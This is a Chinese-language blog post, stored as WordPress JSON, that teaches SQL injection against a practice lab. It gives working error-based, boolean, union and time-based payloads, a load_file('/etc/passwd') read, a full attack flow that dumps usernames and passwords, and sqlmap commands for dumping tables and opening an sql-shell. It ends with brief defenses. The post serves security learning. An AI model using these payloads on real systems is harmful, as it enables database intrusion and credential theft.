{"id":99,"date":"2021-06-07T09:25:34","date_gmt":"2021-06-07T01:25:34","guid":{"rendered":"http:\/\/daishen.ltd\/?p=99"},"modified":"2021-07-26T20:47:17","modified_gmt":"2021-07-26T12:47:17","slug":"sql%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/daishen.ltd\/?p=99","title":{"rendered":"SQL\u6ce8\u5165"},"content":{"rendered":"<p><meta charset=\"UTF-8\"><meta name=\"viewport\" content=\"width=device-width initial-scale=1\"><br \/>\n<title>SQL\u6ce8\u5165<\/title><\/p>\n<h1 id=\"sql\u6ce8\u5165\u5206\u7c7b\">SQL\u6ce8\u5165\u5206\u7c7b<\/h1>\n<p>\u6570\u5b57\u578b:<br \/>\nselect\u5b57\u6bb5\u540dfrom\u8868\u540dwhere id= 1;<\/p>\n<pre><code>http:\/\/www.sql.com\/xxx.php?id=1\n\u5047\u8bbeID\u4e3a\u5b58\u5728\u6ce8\u5165\u7684\u53c2\u6570\nhttp:\/\/www.sql.com\/xxx.php?id=1'\n\u8bed\u53e5\u62a5\u9519\nhttp:\/\/www.sq1.com\/xxx.php?id=1 and 1=1\n\u9875\u9762\u6b63\u5e38\u8fd4\u56de\u7ed3\u679c\nhttp:\/\/www.sq1.com\/xxx.php?id=1 and 1=2\n\u9875\u9762\u8fd4\u56de\u9519\u8bef\n<\/code><\/pre>\n<p>\u5b57\u7b26\u578b:<br \/>\nselect\u5b57\u6bb5\u540dfrom\u8868\u540dwhere id = 1;<\/p>\n<pre><code>http:\/\/www.sql.com\/xxx.php?id=1\n\u5047\u8bbeID\u4e3a\u5b58\u5728\u6ce8\u5165\u7684\u53c2\u6570\nhttp:\/\/www.sql.com\/xxx.php?id=1'\n\u8bed\u53e5\u62a5\u9519\nhttp:\/\/www.sql.com\/xxx.php?id=1' and '1'='1\u9875\u9762\u6b63\u5e38\u8fd4\u56de\u7ed3\u679c\nid ='\n<pre wp-pre-tag-1=\"\"><\/pre>\n<p>#39;<br \/>\nid ='1'<br \/>\nid ='1''<br \/>\nid = '1' and '1'='1'<br \/>\nhttp:\/\/www.sq1.com\/xxx.php?id=1' and '1'='2 \u9875\u9762\u8fd4\u56de\u9519\u8bef<br \/>\n<\/code><br \/>\n\u5728\u5b66\u4e60owasp\u76f8\u5173\u6587\u7ae0\u65f6\uff0c\u53d1\u73b0\u4ed6\u4eec\u901a\u5e38\u5c06sql\u6ce8\u5165\u653b\u51fb\u5206\u4e3a\u4e09\u7c7b:<\/p>\n<ul>\n<li>\u5e26\u5185\u6ce8\u5165: \u4f7f\u7528\u4e0e\u6ce8\u5165sql\u4ee3\u7801\u76f8\u540c\u7684\u901a\u9053\u63d0\u53d6\u6570\u636e(\u5373\u4f7f\u7528web \u6b63\u5e38\u529f\u80fd\u68c0\u7d22\u6570\u636e\uff0c\u5e76\u4e14\u68c0\u7d22\u7684\u6570\u636e\u76f4\u63a5\u663e\u793a\u5728\u7f51\u9875\u4e2d)\uff0c\u6bd4\u5982\u5e38\u89c1\u7684\u663e\u9519\u6ce8\u5165\u3002<\/li>\n<li>\u5e26\u5916\u6ce8\u5165: \u4f7f\u7528\u5176\u4ed6\u6e20\u9053\u68c0\u7d22\u6570\u636e(\u6bd4\u5982\u5c06\u68c0\u7d22\u7684\u6570\u636e\u901a\u8fc7dns\u6216\u8005\u7535\u5b50\u90ae\u4ef6\u4f20\u8f93)\u3002<\/li>\n<li>\u76f2\u6ce8(\u4e5f\u6709\u79f0\u4e3a\u63a8\u7406\u6ce8\u5165) : \u6ca1\u6709\u5b9e\u9645\u7684\u6570\u636e\u4f20\u8f93\uff0c\u4f46\u662f\u901a\u8fc7\u7279\u5b9a\u8bf7\u6c42\u53ef\u4ee5\u89c2\u5bdf\u5230sql\u670d\u52a1\u5668\u7684\u5f02\u5e38\u884c\u4e3a\uff0c\u4ee5\u6b64\u6765\u63a8\u7406\u51fa\u7ed3\u679c\uff0c\u6bd4\u5982\u5e38\u89c1\u7684\u5ef6\u65f6\u6ce8\u5165\u548c\u5806\u53e0\u6ce8\u5165\u3002<\/li>\n<\/ul>\n<p>\u66f4\u666e\u904d\u7684\u4e00\u79cd\u5206\u7c7b\u65b9\u5f0f\u662f\u6309\u7167\u6548\u679c\u5206\u7c7b\uff0c\u5171\u67097\u7c7b\uff0c\u5206\u522b\u662f:<\/p>\n<ul>\n<li>\u5e03\u5c14\u6ce8\u5165<\/li>\n<li>\u8054\u5408\u6ce8\u5165<\/li>\n<li>\u663e\u9519\u6ce8\u5165<\/li>\n<li>\u5ef6\u65f6\u6ce8\u5165<\/li>\n<li>\u5bbd\u5b57\u8282\u6ce8\u5165<\/li>\n<li>\u5e26\u5916\u6ce8\u5165<\/li>\n<li>\u5806\u53e0\u6ce8\u5165<\/li>\n<\/ul>\n<h1 id=\"\u5229\u7528\u573a\u666f\">\u5229\u7528\u573a\u666f<\/h1>\n<p>1.\u83b7\u53d6\u7ba1\u7406\u5458\u7528\u6237\u6216\u8005\u5176\u4ed6\u7528\u6237\u7684\u8d26\u6237\u4fe1\u606f<\/p>\n<p>2.\u5229\u7528\u6570\u636e\u5e93\u7684\u6f0f\u6d1e\u8fdb\u884c\u63d0\u6743<\/p>\n<p>3.\u83b7\u53d6\u6570\u636e\u5e93\u91cc\u9762\u7684\u654f\u611f\u4fe1\u606f<\/p>\n<p>4.\u66f4\u6539\u6570\u636e\u5e93\u91cc\u9762\u7684\u6570\u636e<\/p>\n<h1 id=\"\u6f0f\u6d1e\u5371\u5bb3\">\u6f0f\u6d1e\u5371\u5bb3<\/h1>\n<p>1.\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u6f0f\u6d1e\u67e5\u8be2\u5176\u4ed6\u7528\u6237\u7684\u7528\u6237\u51ed\u636e<\/p>\n<p>2.\u653b\u51fb\u8005\u53ef\u80fd\u63a7\u5236\u6570\u636e\u5e93\u4e2d\u7684\u6240\u6709\u6570\u636e<\/p>\n<p>3.\u63d0\u6743\u5b89\u88c5\u540e\u95e8\u6728\u9a6c<\/p>\n<p>4.\u6076\u610f\u64cd\u4f5c\uff0c\u5982\u6e05\u7a7a\u6570\u636e\u5e93<\/p>\n<h1 id=\"\u68c0\u6d4b\u65b9\u6cd5\">\u68c0\u6d4b\u65b9\u6cd5<\/h1>\n<h2 id=\"\u663e\u9519\u6ce8\u5165\">\u663e\u9519\u6ce8\u5165<\/h2>\n<pre><code>SELECT first_name, last_name FROM users WHERE user_id = '1';\nSELECT first_name, last_name FROM users WHERE user_id = '1'';\n<\/code><\/pre>\n<h2 id=\"\u5e03\u5c14\u6ce8\u5165\">\u5e03\u5c14\u6ce8\u5165<\/h2>\n<p>\u7528\u6765\u5feb\u901f\u83b7\u53d6\u6570\u636e<\/p>\n<pre><code>SELECT first_name, last_name FROM users WHERE user_id = '1';\nSELECT first_name, last_name FROM users WHERE user_id = '99' or 1=1 #'';\nSELECT first_name, last_name FROM users WHERE user_id = '99' and 1=1 #'';\n<\/code><\/pre>\n<p>\u83b7\u53d6\u6307\u5b9a\u4fe1\u606f\u4f7f\u7528and,\u83b7\u53d6\u6240\u6709\u4fe1\u606f\u4f7f\u7528or<\/p>\n<pre><code>1' and ascii (substr (database(),4,1))&gt;96 #\u771f\n1' and ascii (substr (database(),4,1))&lt;97 #\u5047\n1' and ascii (substr (database(),4,1))&lt;98 #\u771f\nascii 97-&gt;a\ndvwa\n\n1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #\n\n1' and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #\nusers\u768416\u8fdb\u5236\n\u663e\u793a\u5b58\u5728\uff0c\u8bf4\u660euers\u8868\u67098\u4e2a\u5b57\u6bb5\u3002\n\n<\/code><\/pre>\n<h2 id=\"\u8054\u5408\u6ce8\u5165\">\u8054\u5408\u6ce8\u5165<\/h2>\n<p>union\u5173\u952e\u8bcd<\/p>\n<pre><code>SELECT [colums_name] from [table_name] or UNION SELECT x, y, z-\n\u57fa\u4e8eunion\u67e5\u8be2\u9700\u8981\u4fdd\u6301\u5217\u6570\u4e00\u81f4\u8fd9\u4e2a\u903b\u8f91\n<\/code><\/pre>\n<p>\u8f93\u5165payload:  &#8216;union select 1,2 &#8211;&#8216;   \u76f8\u5f53\u4e8e\u6267\u884c\u8bed\u53e5  mysql&gt; select user_name , user_password from user_information where user_id=&#8217; &#8216;union select 1,2&#8211;&#8221;;<\/p>\n<p>&nbsp;<\/p>\n<pre><code>'union select load_file('\/etc\/passwd'),2 --  \u67e5\u770b\u6587\u4ef6\n<\/code><\/pre>\n<pre><code>1' union select 1,table_name from information_schema.tables where table_schema=database() #\n\u67e5\u770b\u6240\u6709\u8868\u540d\n<\/code><\/pre>\n<p>order\u5b57\u53e5\u67e5\u8be2\u5217\u6570<\/p>\n<pre><code>1' order by 1#\n1' order by 2#\n1' order by 3#\n1' order by 4#\n<\/code><\/pre>\n<h2 id=\"\u5ef6\u65f6\u6ce8\u5165\">\u5ef6\u65f6\u6ce8\u5165<\/h2>\n<pre><code>1' and sleep(6) #\n1' and if(length(database())&gt;0,sleep(9),1) #   \u8f6c\u5708\u5708\n1' and if(length(database())&gt;3,sleep(9),1) #   \u8f6c\u5708\u5708\n1' and if(length(database())&gt;4,sleep(9),1) #   \u4e0d\u8f6c\u5708\u5708\n<\/code><\/pre>\n<p>id\u662f 1&#8242; and if(length(database())&gt;0,sleep(9),1) # \u660e\u663e\u5ef6\u8fdf\uff0c\u8bf4\u660e\u6570\u636e\u5e93\u540d\u7684\u957f\u5ea6\u4e3a4\u4e2a\u5b57\u7b26;<\/p>\n<p>\u6293\u5305\u6539\u53c2\u6570id\u4e3a<\/p>\n<pre><code>1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(4),1) #\n<\/code><\/pre>\n<p>\u660e\u663e\u5ef6\u8fdf\uff0c\u8bf4\u660e\u6570\u636e\u5e93\u4e2d\u7684\u7b2c\u4e00\u4e2a\u8868\u540d\u957f\u5ea6\u4e3a9\u4e2a\u5b57\u7b26;<\/p>\n<p>\u6293\u5305\u6539\u53c2\u6570id\u4e3a<\/p>\n<pre><code>1' and if((select count(column_name) from information_schema.columns where table_name=0x7573657273)=8,sleep(5),1) #\n<\/code><\/pre>\n<p>\u660e\u663e\u5ef6\u8fdf\uff0c\u8bf4\u660euers\u8868\u67098\u4e2a\u5b57\u6bb5\u3002<\/p>\n<h1 id=\"\u5b8c\u6574\u7684sql\u6ce8\u5165\u653b\u51fb\u6d41\u7a0b\">\u5b8c\u6574\u7684SQL\u6ce8\u5165\u653b\u51fb\u6d41\u7a0b<\/h1>\n<p>1.\u5224\u65ad\u662f\u5426\u80fd\u591f\u6ce8\u5165<\/p>\n<pre><code>https:\/\/daishen.ltd:1112\/Less-1\/?id=1\n<\/code><\/pre>\n<p>2.\u5224\u65ad\u8868\u4e2d\u5b58\u5728\u51e0\u4e2a\u5b57\u6bb5<\/p>\n<pre><code>id=1' order by 4 --+\n<\/code><\/pre>\n<p>3.\u5224\u65ad\u5b57\u6bb5\u4f4d\u7f6e<\/p>\n<pre><code>id=1' and 1=2 union select 1,2,3 --+\n<\/code><\/pre>\n<p>4.\u7206\u6240\u6709\u5e93.<\/p>\n<pre><code>id=1' and 1=2 union select 1,database(),3 --+   \u67e5\u770b\u5f53\u524d\u5e93\n\nid=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+\n<\/code><\/pre>\n<p>5.\u7206\u6307\u5b9a\u5e93\u7684\u6240\u6709\u8868<\/p>\n<pre><code>id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+\n<\/code><\/pre>\n<p>6.\u7206\u6307\u5b9a\u8868\u7684\u6240\u6709\u5b57\u6bb5<\/p>\n<pre><code>id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+\n<\/code><\/pre>\n<p>7.\u7206\u51fa\u5b57\u6bb5\u5185\u5bb9<\/p>\n<pre><code>id=1' and 1=2 union select 1,username,password from users where id=1 --+\n\nid=1' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users --+\n<\/code><\/pre>\n<h1 id=\"\u4f7f\u7528sqlmap\u8fdb\u884c\u81ea\u52a8\u5316\u653b\u51fb\">\u4f7f\u7528sqlmap\u8fdb\u884c\u81ea\u52a8\u5316\u653b\u51fb<\/h1>\n<p>\u626b\u63cfURL\u76ee\u6807<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\"\n<\/code><\/pre>\n<p>\u67e5\u770b\u6240\u6709\u5e93<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" -dbs\n<\/code><\/pre>\n<p>\u67e5\u770b\u6240\u6709\u8868<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" -D security --tables\n<\/code><\/pre>\n<p>\u67e5\u770b\u8868\u5b57\u6bb5<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" -D security -T users --columns\n<\/code><\/pre>\n<p>\u67e5\u770b\u8868\u5b57\u6bb5\u5185\u5bb9<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" -D security -T users --columns -C \"username,password\" -dump\n<\/code><\/pre>\n<p>\u8fdb\u5165sql-shell<\/p>\n<pre><code> sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" --sql-shell\n<\/code><\/pre>\n<p>\u968f\u673aagent<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" --random-agent\n<\/code><\/pre>\n<p>\u591a\u7ebf\u7a0b<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" --threads=4\n<\/code><\/pre>\n<p>\u5bfc\u51faHTTP\u8be6\u7ec6\u8bf7\u6c42<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" -t http.log\n<\/code><\/pre>\n<p>\u5e26cookie\u6ce8\u5165<\/p>\n<pre><code>sqlmap -u \"daishen.ltd:1112\/Less-1\/?id=1\" --cookie=\"PHPSESSID=1b5arqpjub0o45b27e3s8ukf8c; security=low\"\n<\/code><\/pre>\n<pre><code>--mobile\t\t\t\t\u6709\u65f6\u670d\u52a1\u7aef\u53ea\u63a5\u6536\u79fb\u52a8\u7aef\u7684\u8bbf\u95ee\uff0c\u6b64\u65f6\u53ef\u4ee5\u8bbe\u5b9a\u4e00\u4e2a\u624b\u673a\u7684User-Agent\u6765\u6a21\u4eff\u624b\u673a\u767b\u9646 \n--level=LEVEL\t\t\t\u6267\u884c\u6d4b\u8bd5\u7684\u7b49\u7ea7(1-5\uff0c \u9ed8\u8ba4\u4e3a1)\n--risk=RISK\t\t\t\t\u6267\u884c\u6d4b\u8bd5\u7684\u98ce\u9669(0-3, \u9ed8\u8ba4\u4e3a1)\n--time-sec=TIMESEC\t\tDBMS\u54cd\u5e94\u7684\u5ef6\u8fdf\u65f6\u95f4(\u9ed8\u8ba4\u4e3a5\u79d2)\n-U USER\t\t\t\t\t\u7528\u6765\u8fdb\u884c\u679a\u4e3e\u7684\u6570\u636e\u5e93\u7528\u6237\n--sql-query=QUERY\t\t\u8981\u6267\u884c\u7684SQL\u8bed\u53e5\n--tamper\t\t\t\t\u6307\u5b9a\u811a\u672c\n<\/code><\/pre>\n<h1 id=\"sql\u6ce8\u5165\u4e0e\u9632\u5fa1\">SQL\u6ce8\u5165\u4e0e\u9632\u5fa1<\/h1>\n<p>1.\u8fc7\u6ee4\uff08\u8f93\u5165\u9a8c\u8bc1\uff09\uff1a\u68c0\u6d4b\u7528\u6237\u8f93\u5165\u7684\u5408\u6cd5\u6027\u786e\u4fdd\u8f93\u5165\u7684\u5185\u5bb9\u662f\u6b63\u5e38\u6570\u636e\uff0c\u6570\u636e\u6821\u9a8c\u6700\u91cd\u8981\u7684\u5c31\u662f\u5728\u670d\u52a1\u7aef\u6821\u9a8c<\/p>\n<p>2.\u7981\u6b62\u56de\u663e\u9519\u8bef\u62a5\u544a\uff1a\u7981\u6b62\u56de\u663e\u9519\u8bef\u4fe1\u606f\uff0c\u63d0\u9ad8\u653b\u51fb\u96be\u5ea6<\/p>\n<p>3.\u9884\u7f16\u8bd1\u8f93\u5165\uff1aPDO (PHP Data Objects)\u91c7\u7528\u9884\u5904\u7406\u7684\u65b9\u5f0f\uff0c\u4e8b\u5148\u521b\u5efaSQL\u8bed\u53e5\u6a21\u677f\uff0c\u5e76\u53d1\u9001\u5230\u8d44\u6599\u5e93\uff0c\u9884\u5904\u7406\uff0c\u5360\u4f4d\u7b26<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165 SQL\u6ce8\u5165\u5206\u7c7b \u6570\u5b57\u578b: select\u5b57\u6bb5\u540dfrom\u8868\u540dwhere id= 1; http:\/\/w [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-99","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts\/99","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=99"}],"version-history":[{"count":1,"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts\/99\/revisions"}],"predecessor-version":[{"id":100,"href":"https:\/\/daishen.ltd\/index.php?rest_route=\/wp\/v2\/posts\/99\/revisions\/100"}],"wp:attachment":[{"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=99"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=99"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/daishen.ltd\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=99"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}